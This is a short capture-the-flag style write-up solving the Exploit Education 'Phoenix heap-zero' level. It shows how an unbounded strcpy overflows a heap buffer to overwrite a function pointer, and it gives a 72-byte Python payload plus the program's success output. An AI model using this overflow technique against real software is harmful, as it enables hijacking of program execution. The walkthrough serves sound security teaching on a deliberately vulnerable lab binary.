16 April 2019

Heap 0

Write-up for: https://exploit.education/phoenix/heap-zero/.

Solution

The goal is to redirect execution to the winner() function. This could be achieved by overwriting the fp function pointer of f. f is located after d on the heap. d is filled using strcpy without bounds checking. This means we can overflow the name field of d in order to overwrite f->fp. Note that this will also overwrite control data of f which will probably make any call to free crash later on.

Since there is no memory protection (like ASLR), we can simply find out the address of the winner function using objdump:

user@phoenix-amd64:/opt/phoenix/i486$ objdump -d heap-zero | grep winner
08048835 <winner>:

Now we need the offset of f->fp from d->name which we can write arbitrary data to. Given the informative output of the program we can easily deduct the offset by probing the executable (e.g. using binary search or using a unique pattern). Alternatively, by looking at the source, we know that the data struct uses 64 bytes of memory, followed by 8 bytes of heap control structure for f (prev_size, size). This means the function pointer we want to overwrite is located 72 bytes after d->name. This results in the following exploit:

./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
user@phoenix-amd64:/opt/phoenix/i486$ ./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

Note that [::-1] reverses a string in Python.